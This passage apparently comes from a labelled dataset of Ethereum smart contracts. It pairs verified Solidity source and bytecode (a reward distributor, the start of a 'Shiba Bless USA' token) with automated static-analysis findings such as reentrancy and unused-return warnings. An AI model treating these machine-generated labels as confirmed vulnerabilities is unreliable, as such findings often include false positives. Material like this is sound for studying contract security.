081526002602052604080822093909355908a16815220546116e8908661187b565b6001600160a01b03891660009081526002602052604090205561170a816118da565b6117148483611924565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175991815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117888282611605565b8210156117a557505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117cf5760405162461bcd60e51b81526004016105f29190611b6c565b5060006113738486611eb7565b60008060008060008060008060006117f98a600c54600d54611948565b92509250925060006118096115e2565b9050600080600061181c8e87878761199d565b919e509c509a509598509396509194505050505091939550919395565b600061143383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611342565b6000806118888385611dfa565b9050838110156114335760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f2565b60006118e46115e2565b905060006118f283836119ed565b3060009081526002602052604090205490915061190f908261187b565b30600090815260026020526040902055505050565b6006546119319083611839565b600655600754611941908261187b565b6007555050565b6000808080611962606461195c89896119ed565b90611605565b90506000611975606461195c8a896119ed565b9050600061198d826119878b86611839565b90611839565b9992985090965090945050505050565b60008080806119ac88866119ed565b905060006119ba88876119ed565b905060006119c888886119ed565b905060006119da826119878686611839565b939b939a50919850919650505050505050565b6000826119fc57506000610678565b6000611a088385611ed9565b905082611a158583611eb7565b146114335760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c257600080fd5b8035611aa281611a82565b919050565b60006020808385031215611aba57600080fd5b823567ffffffffffffffff80821115611ad257600080fd5b818501915085601f830112611ae657600080fd5b813581811115611af857611af8611a6c565b8060051b604051601f19603f83011681018181108582111715611b1d57611b1d611a6c565b604052918252848201925083810185019188831115611b3b57600080fd5b938501935b82851015611b6057611b5185611a97565b84529385019392850192611b40565b98975050505050505050565b600060208083528351808285015260005b81811015611b9957858101830151858201604001528201611b7d565b81811115611bab576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bd457600080fd5b8235611bdf81611a82565b946020939093013593505050565b600080600060608486031215611c0257600080fd5b8335611c0d81611a82565b92506020840135611c1d81611a82565b929592945050506040919091013590565b600060208284031215611c4057600080fd5b813561143381611a82565b80358015158114611aa257600080fd5b600060208284031215611c6d57600080fd5b61143382611c4b565b600060208284031215611c8857600080fd5b5035919050565b60008060008060808587031215611ca557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cd657600080fd5b833567ffffffffffffffff80821115611cee57600080fd5b818601915086601f830112611d0257600080fd5b813581811115611d1157600080fd5b8760208260051b8501011115611d2657600080fd5b602092830195509350611d3c9186019050611c4b565b90509250925092565b60008060408385031215611d5857600080fd5b8235611d6381611a82565b91506020830135611d7381611a82565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611df357611df3611dc9565b5060010190565b60008219821115611e0d57611e0d611dc9565b500190565b600082821015611e2457611e24611dc9565b500390565b600060208284031215611e3b57600080fd5b815161143381611a82565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e965784516001600160a01b031683529383019391830191600101611e71565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ed457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ef357611ef3611dc9565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122099efa79c117f028927356b3edd454b31c56bd4d9dd2db742941fcf5f4ad4af0f64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 1,945 |
0x472cfd9fa18a332043cfd5b3c46b09a30124b85d | /**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
return div( mul( total_, percentage_ ), 1000 );
}
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
}
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
return div( mul(part_, 100) , total_ );
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
return sqrrt( mul( multiplier_, payment_ ) );
}
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
return mul( multiplier_, supply_ );
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy( address newPolicy_ ) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred( address(0), _policy );
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require( _policy == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred( _policy, address(0) );
_policy = address(0);
}
function pushPolicy( address newPolicy_ ) public virtual override onlyPolicy() {
require( newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require( msg.sender == _newPolicy );
emit OwnershipTransferred( _policy, _newPolicy );
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards( address _recipient, uint _amount ) external returns ( bool );
}
interface IStaking {
function rebase() external returns ( bool );
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
struct Info {
uint rate; // in ten-thousandths ( 5000 = 0.5% )
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
mapping( uint => Adjust ) public adjustments;
constructor( address _treasury, address _ohm, uint _epochLength, uint _nextEpochBlock ) {
require( _treasury != address(0) );
treasury = _treasury;
require( _ohm != address(0) );
OHM = _ohm;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
/**
@notice send epoch reward to staking contract
*/
function distribute() external {
require( nextEpochBlock <= block.number, "Not new epoch" );
nextEpochBlock = nextEpochBlock.add( epochLength ); // set next epoch block
// distribute rewards to each recipient
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].rate > 0 ) {
ITreasury( treasury ).mintRewards( // mint and send from treasury
info[ i ].recipient,
nextReward( info[ i ].rate )
);
adjust( i ); // check for adjustment
}
}
}
/**
@notice increment reward rate for collector
*/
function adjust( uint _index ) internal {
Adjust memory adjustment = adjustments[ _index ];
if ( adjustment.rate != 0 ) {
if ( adjustment.add ) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate
if ( info[ _index ].rate >= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate
if ( info[ _index ].rate <= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
/**
@notice view function for next reward at given rate
@param _rate uint
@return uint
*/
function nextReward( uint _rate ) public view returns ( uint ) {
return IERC20( OHM ).totalSupply().mul( _rate ).div( 1000000 );
}
/**
@notice view function for next reward for specified address
@param _recipient address
@return uint
*/
function nextRewardFor( address _recipient ) public view returns ( uint ) {
uint reward;
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].recipient == _recipient ) {
reward = nextReward( info[ i ].rate );
}
}
return reward;
}
/**
@notice adds recipient for distributions
@param _recipient address
@param _rewardRate uint
*/
function addRecipient( address _recipient, uint _rewardRate ) external onlyPolicy() {
require( _recipient != address(0) );
info.push( Info({
recipient: _recipient,
rate: _rewardRate
}));
}
/**
@notice removes recipient for distributions
@param _index uint
@param _recipient address
*/
function removeRecipient( uint _index, address _recipient ) external onlyPolicy() {
require( _recipient == info[ _index ].recipient );
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
/**
@notice set adjustment info for a collector's reward rate
@param _index uint
@param _add bool
@param _rate uint
@param _target uint
*/
function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
} | 0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c8063a15ad07711610097578063bc3b2b1211610066578063bc3b2b121461037b578063e4fc6b6d146103cd578063f7982243146103d7578063fe3fbbad14610425576100ff565b8063a15ad077146102b7578063a3cd2d78146102fb578063a4b239801461033d578063a6c41fec14610347576100ff565b806357d775f8116100d357806357d775f81461020d5780635beede081461022b5780635db854b01461023557806361d027b314610283576100ff565b8062640c2e146101045780630505c8c9146101225780632e3405991461015657806336d33f44146101b5575b600080fd5b61010c610473565b6040518082815260200191505060405180910390f35b61012a610479565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101826004803603602081101561016c57600080fd5b81019080803590602001909291905050506104a2565b604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104f6565b6040518082815260200191505060405180910390f35b6102156105bc565b6040518082815260200191505060405180910390f35b6102336105e0565b005b6102816004803603608081101561024b57600080fd5b8101908080359060200190929190803515159060200190929190803590602001909291908035906020019092919050505061073a565b005b61028b610868565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f9600480360360208110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061088c565b005b6103276004803603602081101561031157600080fd5b8101908080359060200190929190505050610a17565b6040518082815260200191505060405180910390f35b610345610ae8565b005b61034f610c67565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a76004803603602081101561039157600080fd5b8101908080359060200190929190505050610c8b565b604051808415158152602001838152602001828152602001935050505060405180910390f35b6103d5610cc2565b005b610423600480360360408110156103ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ef7565b005b6104716004803603604081101561043b57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061109f565b005b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600381815481106104b257600080fd5b90600052602060002090600202016000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b60008060005b6003805490508110156105b2578373ffffffffffffffffffffffffffffffffffffffff166003828154811061052d57fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156105a5576105a26003828154811061058b57fe5b906000526020600020906002020160000154610a17565b91505b80806001019150506104fc565b5080915050919050565b7f000000000000000000000000000000000000000000000000000000000000089881565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461063a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60405180606001604052808415158152602001838152602001828152506004600086815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505050505050565b7f00000000000000000000000031f8cc382c9898b273eff4e0b7626a6987c846e881565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061175a6026913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610ae1620f4240610ad3847f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a89973ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d6020811015610ab457600080fd5b810190808051906020019092919050505061125c90919063ffffffff16565b6112e290919063ffffffff16565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ba9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b7f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a89981565b60046020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b436002541115610d3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74206e65772065706f63680000000000000000000000000000000000000081525060200191505060405180910390fd5b610d6f7f000000000000000000000000000000000000000000000000000000000000089860025461132c90919063ffffffff16565b60028190555060005b600380549050811015610ef457600060038281548110610d9457fe5b9060005260206000209060020201600001541115610ee7577f00000000000000000000000031f8cc382c9898b273eff4e0b7626a6987c846e873ffffffffffffffffffffffffffffffffffffffff16636a20de9260038381548110610df557fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e4e60038581548110610e3757fe5b906000526020600020906002020160000154610a17565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ea157600080fd5b505af1158015610eb5573d6000803e3d6000fd5b505050506040513d6020811015610ecb57600080fd5b810190808051906020019092919050505050610ee6816113b4565b5b8080600101915050610d78565b50565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff257600080fd5b600360405180604001604052808381526020018473ffffffffffffffffffffffffffffffffffffffff1681525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611160576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6003828154811061116d57fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146111d657600080fd5b6000600383815481106111e557fe5b906000526020600020906002020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006003838154811061124357fe5b9060005260206000209060020201600001819055505050565b60008083141561126f57600090506112dc565b600082840290508284828161128057fe5b04146112d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117806021913960400191505060405180910390fd5b809150505b92915050565b600061132483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611566565b905092915050565b6000808284019050838110156113aa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6113bc611736565b600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016001820154815260200160028201548152505090506000816020015114611562578060000151156114c35761145681602001516003848154811061143657fe5b90600052602060002090600202016000015461132c90919063ffffffff16565b6003838154811061146357fe5b90600052602060002090600202016000018190555080604001516003838154811061148a57fe5b906000526020600020906002020160000154106114be57600060046000848152602001908152602001600020600101819055505b611561565b6114f88160200151600384815481106114d857fe5b90600052602060002090600202016000015461162c90919063ffffffff16565b6003838154811061150557fe5b90600052602060002090600202016000018190555080604001516003838154811061152c57fe5b9060005260206000209060020201600001541161156057600060046000848152602001908152602001600020600101819055505b5b5b5050565b60008083118290611612576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115d75780820151818401526020810190506115bc565b50505050905090810190601f1680156116045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161161e57fe5b049050809150509392505050565b600061166e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611676565b905092915050565b6000838311158290611723576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116e85780820151818401526020810190506116cd565b50505050905090810190601f1680156117155780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212205b16cafdeb6734eb60a87aeec21bc5abd721e88cab82bd6b3d004d1fde08274f64736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 1,946 |
0x89fa0f574d250b1ed4407d4127ea6d400a0c52b5 | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibaBlessUSA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shiba Bless USA";
string private constant _symbol = " ShibaBless";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
